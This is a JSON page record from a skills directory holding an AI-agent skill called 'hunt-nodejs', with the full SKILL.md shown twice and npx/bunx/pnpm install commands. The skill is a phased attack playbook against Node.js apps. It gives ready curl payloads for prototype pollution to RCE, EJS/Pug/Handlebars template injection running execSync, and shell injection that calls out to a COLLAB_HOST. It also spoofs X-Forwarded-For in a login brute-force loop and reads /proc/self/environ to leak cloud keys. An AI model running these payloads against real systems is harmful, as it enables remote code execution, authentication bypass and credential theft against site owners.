[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7ECJDQN70KWAYP695ST7PRT":3,"skill-same:01M7ECJDQN70KWAYP695ST7PRT":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":26,"commitSha":27,"skillDirectory":28,"forksCount":29,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":32,"updatedAt":33,"install":34,"resources":47},"01M7ECJDQN70KWAYP695ST7PRT","hunt-nodejs",null,"Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash\u002Fmerge\u002Fassign), Express trust proxy misconfiguration, child_process\u002Feval injection, template engine SSTI (EJS\u002FPug\u002FHandlebars), path traversal in file servers, require() injection, environment variable exfil via \u002Fproc\u002Fself\u002Fenviron. Use when target runs Node.js\u002FExpress\u002FFastify\u002FNestJS\u002FKoa.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F03-逆向工程\u002Fhunt-nodejs\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: hunt-nodejs\ndescription: Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash\u002Fmerge\u002Fassign), Express trust proxy misconfiguration, child_process\u002Feval injection, template engine SSTI (EJS\u002FPug\u002FHandlebars), path traversal in file servers, require() injection, environment variable exfil via \u002Fproc\u002Fself\u002Fenviron. Use when target runs Node.js\u002FExpress\u002FFastify\u002FNestJS\u002FKoa.\nsources: hackerone_public, snyk_research, portswigger_research\nreport_count: 24\n---\n\n# HUNT-NODEJS — Node.js Specific Vulnerabilities\n\n## Crown Jewel Targets\n\nPrototype Pollution reaching a sink in Node.js backend = Critical RCE.\n\n**Highest-value chains:**\n- **Prototype Pollution → RCE** — `__proto__` injection via `lodash.merge` \u002F `Object.assign` → polluted prototype reaches `child_process.exec` or `vm.runInNewContext` sink\n- **Express trust proxy** — `app.set('trust proxy', true)` without validation → attacker sets `X-Forwarded-For` to bypass IP allowlists or rate limits\n- **EJS\u002FPug SSTI** — template engine receives user input → `{{= process.mainModule.require('child_process').execSync('id') }}`\n- **`child_process` injection** — user input interpolated into shell command string → OS command injection\n- **`require()` path traversal** — attacker-controlled module path → load arbitrary file as JS\n\n---\n\n## Attack Surface Signals\n\n```\nX-Powered-By: Express           Confirms Express.js\nNode.js in error messages        Runtime detected\npackage.json exposed             Dependency list + versions\n\u002Fproc\u002Fself\u002Fenviron accessible    Environment variable exfil\nError stack traces with .js paths  Node.js confirmed\n__proto__ in JSON accepted        Prototype pollution candidate\n```\n\n---\n\n## Phase 1 — Fingerprint\n\n```bash\n# Confirm Node.js\u002FExpress\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"x-powered-by\\|nodejs\\|express\"\n\n# Check for package.json \u002F node_modules exposure\ncurl -s \"https:\u002F\u002F$TARGET\u002Fpackage.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fpackage-lock.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fnode_modules\u002F.package-lock.json\"\n\n# Error-based version detection\ncurl -s \"https:\u002F\u002F$TARGET\u002Fnonexistent-path-xyz\" | grep -i \"node\\|express\\|cannot GET\"\n```\n\n---\n\n## Phase 2 — Prototype Pollution Detection\n\n```bash\n# JSON body injection — test if __proto__ is accepted\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"polluted\": \"yes\"}}'\n\n# Constructor prototype\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# URL query param injection (qs library)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fsearch?__proto__[polluted]=yes&query=test\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fdata?constructor[prototype][admin]=1\"\n\n# Confirm pollution: does a subsequent request reflect the polluted key?\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fme\" | grep -i \"polluted\\|isAdmin\\|admin\"\n```\n\n---\n\n## Phase 3 — Prototype Pollution → RCE Chain\n\n```bash\n# If pollution is confirmed, attempt to reach dangerous sinks\n\n# Sink 1: child_process via options.shell pollution\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\n    \"__proto__\": {\n      \"shell\": \"node\",\n      \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Ffd\u002F0\",\n      \"env\": {\"NODE_OPTIONS\": \"--inspect=COLLAB_HOST\"}\n    }\n  }'\n\n# Sink 2: lodash template pollution (CVE-2021-23337)\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"sourceURL\": \"\\nreturn process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\").toString()\u002F\u002F\"}}'\n\n# Sink 3: ejs template options pollution\n# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Ftemplate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"outputFunctionName\": \"x;process.mainModule.require(\\\"child_process\\\").execSync(\\\"curl COLLAB_HOST\u002Fpp-rce\\\");x\"}}'\n\n# OOB confirmation — check Interactsh for callback\n```\n\n---\n\n## Phase 4 — Express Trust Proxy Abuse\n\n```bash\n# If Express has trust proxy enabled, X-Forwarded-For is trusted\n# Test: does spoofed IP bypass IP-based rate limiting or allowlist?\n\n# Spoof IP to 127.0.0.1 (localhost bypass)\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fadmin\u002Faction \\\n  -H \"X-Forwarded-For: 127.0.0.1\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"action\": \"test\"}'\n\n# Spoof to internal IP range\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Finternal \\\n  -H \"X-Forwarded-For: 10.0.0.1\" \\\n  -H \"X-Real-IP: 10.0.0.1\"\n\n# Rate limit bypass via rotating fake IPs\nfor i in $(seq 1 50); do\n  curl -s https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n    -H \"X-Forwarded-For: 1.2.3.$i\" \\\n    -d '{\"email\":\"admin@test.com\",\"password\":\"wrong\"}' \\\n    -o \u002Fdev\u002Fnull -w \"$i: %{http_code}\\n\"\ndone\n```\n\n---\n\n## Phase 5 — Template Engine SSTI (EJS \u002F Pug \u002F Handlebars)\n\n```bash\n# EJS SSTI — if user input reaches EJS template context\n# Test basic: \u003C%= 7*7 %> should return 49\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"\u003C%= 7*7 %>\"}'\n\n# EJS RCE payload\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"\u003C%= process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\").toString() %>\"}'\n\n# Pug SSTI\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"- var x = root.process\\n= x.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}'\n\n# Handlebars — prototype pollution via template\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"{{#with \\\"s\\\" as |string|}}{{#with \\\"e\\\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \\\"constructor\\\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \\\"return process.mainModule.require(childprocess).execSync(id)\\\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{\u002Fwith}}{{\u002Feach}}{{\u002Fwith}}{{\u002Fwith}}{{\u002Fwith}}{{\u002Fwith}}\"}'\n```\n\n---\n\n## Phase 6 — child_process Command Injection\n\n```bash\n# Look for endpoints that run shell commands with user input\n# Signals: \u002Fapi\u002Fconvert, \u002Fapi\u002Fexec, \u002Fapi\u002Fping, \u002Fapi\u002Fscan\n\n# Basic injection test\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fping?host=127.0.0.1;id\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fconvert?file=test.pdf;curl+COLLAB_HOST\u002Fci\"\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fexec \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"command\": \"ls\", \"args\": [\"&&\", \"curl\", \"COLLAB_HOST\u002Fci\"]}'\n\n# OOB via DNS\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fdns?host=\\$(curl+COLLAB_HOST\u002Fdns-ci).example.com\"\n```\n\n---\n\n## Phase 7 — \u002Fproc\u002Fself\u002Fenviron Exfil\n\n```bash\n# If LFI exists on Node.js app, \u002Fproc\u002Fself\u002Fenviron leaks env vars\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Ffile?path=\u002Fproc\u002Fself\u002Fenviron\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fread?file=..\u002F..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Also check:\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Ffile?path=\u002Fproc\u002Fself\u002Fcmdline\"  # full command line\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Ffile?path=\u002Fproc\u002Fself\u002Fcwd\"       # working directory\n```\n\n---\n\n## Chain Table\n\n| Node.js finding | Chain to | Impact |\n|----------------|----------|--------|\n| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |\n| Express trust proxy | Bypass IP allowlist \u002F rate limit | Auth bypass \u002F DoS bypass |\n| SSTI in template engine | OS command execution | Critical RCE |\n| child_process injection | `id && curl COLLAB_HOST` | Critical RCE |\n| \u002Fproc\u002Fself\u002Fenviron via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |\n\n---\n\n## Validation\n\n✅ Prototype pollution: key appears in subsequent API responses without being sent\n✅ RCE chain: OOB callback received OR `id` output in response\n✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist\n\n**Severity:**\n- Prototype pollution → RCE: Critical\n- SSTI → RCE: Critical\n- child_process injection: Critical\n- Trust proxy → rate limit bypass: Medium\n- \u002Fproc\u002Fself\u002Fenviron exfil: High (if cloud keys present)\n","# HUNT-NODEJS — Node.js Specific Vulnerabilities\n\n## Crown Jewel Targets\n\nPrototype Pollution reaching a sink in Node.js backend = Critical RCE.\n\n**Highest-value chains:**\n- **Prototype Pollution → RCE** — `__proto__` injection via `lodash.merge` \u002F `Object.assign` → polluted prototype reaches `child_process.exec` or `vm.runInNewContext` sink\n- **Express trust proxy** — `app.set('trust proxy', true)` without validation → attacker sets `X-Forwarded-For` to bypass IP allowlists or rate limits\n- **EJS\u002FPug SSTI** — template engine receives user input → `{{= process.mainModule.require('child_process').execSync('id') }}`\n- **`child_process` injection** — user input interpolated into shell command string → OS command injection\n- **`require()` path traversal** — attacker-controlled module path → load arbitrary file as JS\n\n---\n\n## Attack Surface Signals\n\n```\nX-Powered-By: Express           Confirms Express.js\nNode.js in error messages        Runtime detected\npackage.json exposed             Dependency list + versions\n\u002Fproc\u002Fself\u002Fenviron accessible    Environment variable exfil\nError stack traces with .js paths  Node.js confirmed\n__proto__ in JSON accepted        Prototype pollution candidate\n```\n\n---\n\n## Phase 1 — Fingerprint\n\n```bash\n# Confirm Node.js\u002FExpress\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"x-powered-by\\|nodejs\\|express\"\n\n# Check for package.json \u002F node_modules exposure\ncurl -s \"https:\u002F\u002F$TARGET\u002Fpackage.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fpackage-lock.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fnode_modules\u002F.package-lock.json\"\n\n# Error-based version detection\ncurl -s \"https:\u002F\u002F$TARGET\u002Fnonexistent-path-xyz\" | grep -i \"node\\|express\\|cannot GET\"\n```\n\n---\n\n## Phase 2 — Prototype Pollution Detection\n\n```bash\n# JSON body injection — test if __proto__ is accepted\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"polluted\": \"yes\"}}'\n\n# Constructor prototype\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# URL query param injection (qs library)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fsearch?__proto__[polluted]=yes&query=test\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fdata?constructor[prototype][admin]=1\"\n\n# Confirm pollution: does a subsequent request reflect the polluted key?\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fme\" | grep -i \"polluted\\|isAdmin\\|admin\"\n```\n\n---\n\n## Phase 3 — Prototype Pollution → RCE Chain\n\n```bash\n# If pollution is confirmed, attempt to reach dangerous sinks\n\n# Sink 1: child_process via options.shell pollution\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\n    \"__proto__\": {\n      \"shell\": \"node\",\n      \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Ffd\u002F0\",\n      \"env\": {\"NODE_OPTIONS\": \"--inspect=COLLAB_HOST\"}\n    }\n  }'\n\n# Sink 2: lodash template pollution (CVE-2021-23337)\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"sourceURL\": \"\\nreturn process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\").toString()\u002F\u002F\"}}'\n\n# Sink 3: ejs template options pollution\n# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Ftemplate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"outputFunctionName\": \"x;process.mainModule.require(\\\"child_process\\\").execSync(\\\"curl COLLAB_HOST\u002Fpp-rce\\\");x\"}}'\n\n# OOB confirmation — check Interactsh for callback\n```\n\n---\n\n## Phase 4 — Express Trust Proxy Abuse\n\n```bash\n# If Express has trust proxy enabled, X-Forwarded-For is trusted\n# Test: does spoofed IP bypass IP-based rate limiting or allowlist?\n\n# Spoof IP to 127.0.0.1 (localhost bypass)\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fadmin\u002Faction \\\n  -H \"X-Forwarded-For: 127.0.0.1\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"action\": \"test\"}'\n\n# Spoof to internal IP range\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Finternal \\\n  -H \"X-Forwarded-For: 10.0.0.1\" \\\n  -H \"X-Real-IP: 10.0.0.1\"\n\n# Rate limit bypass via rotating fake IPs\nfor i in $(seq 1 50); do\n  curl -s https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n    -H \"X-Forwarded-For: 1.2.3.$i\" \\\n    -d '{\"email\":\"admin@test.com\",\"password\":\"wrong\"}' \\\n    -o \u002Fdev\u002Fnull -w \"$i: %{http_code}\\n\"\ndone\n```\n\n---\n\n## Phase 5 — Template Engine SSTI (EJS \u002F Pug \u002F Handlebars)\n\n```bash\n# EJS SSTI — if user input reaches EJS template context\n# Test basic: \u003C%= 7*7 %> should return 49\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"\u003C%= 7*7 %>\"}'\n\n# EJS RCE payload\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"\u003C%= process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\").toString() %>\"}'\n\n# Pug SSTI\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"- var x = root.process\\n= x.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}'\n\n# Handlebars — prototype pollution via template\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"{{#with \\\"s\\\" as |string|}}{{#with \\\"e\\\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \\\"constructor\\\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \\\"return process.mainModule.require(childprocess).execSync(id)\\\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{\u002Fwith}}{{\u002Feach}}{{\u002Fwith}}{{\u002Fwith}}{{\u002Fwith}}{{\u002Fwith}}\"}'\n```\n\n---\n\n## Phase 6 — child_process Command Injection\n\n```bash\n# Look for endpoints that run shell commands with user input\n# Signals: \u002Fapi\u002Fconvert, \u002Fapi\u002Fexec, \u002Fapi\u002Fping, \u002Fapi\u002Fscan\n\n# Basic injection test\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fping?host=127.0.0.1;id\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fconvert?file=test.pdf;curl+COLLAB_HOST\u002Fci\"\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fexec \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"command\": \"ls\", \"args\": [\"&&\", \"curl\", \"COLLAB_HOST\u002Fci\"]}'\n\n# OOB via DNS\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fdns?host=\\$(curl+COLLAB_HOST\u002Fdns-ci).example.com\"\n```\n\n---\n\n## Phase 7 — \u002Fproc\u002Fself\u002Fenviron Exfil\n\n```bash\n# If LFI exists on Node.js app, \u002Fproc\u002Fself\u002Fenviron leaks env vars\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Ffile?path=\u002Fproc\u002Fself\u002Fenviron\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fread?file=..\u002F..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Also check:\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Ffile?path=\u002Fproc\u002Fself\u002Fcmdline\"  # full command line\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Ffile?path=\u002Fproc\u002Fself\u002Fcwd\"       # working directory\n```\n\n---\n\n## Chain Table\n\n| Node.js finding | Chain to | Impact |\n|----------------|----------|--------|\n| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |\n| Express trust proxy | Bypass IP allowlist \u002F rate limit | Auth bypass \u002F DoS bypass |\n| SSTI in template engine | OS command execution | Critical RCE |\n| child_process injection | `id && curl COLLAB_HOST` | Critical RCE |\n| \u002Fproc\u002Fself\u002Fenviron via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |\n\n---\n\n## Validation\n\n✅ Prototype pollution: key appears in subsequent API responses without being sent\n✅ RCE chain: OOB callback received OR `id` output in response\n✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist\n\n**Severity:**\n- Prototype pollution → RCE: Critical\n- SSTI → RCE: Critical\n- child_process injection: Critical\n- Trust proxy → rate limit bypass: Medium\n- \u002Fproc\u002Fself\u002Fenviron exfil: High (if cloud keys present)\n",{"name":5,"sources":24,"description":7,"report_count":25},"hackerone_public, snyk_research, portswigger_research",24,"main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","03-逆向工程\u002Fhunt-nodejs",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-nodejs",{"tool":40,"command":41},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-nodejs",{"tool":43,"command":44},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-nodejs","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F03-逆向工程\u002Fhunt-nodejs\u002FSKILL.md",true,[],[49,57,62,69,76,83],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":56},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. 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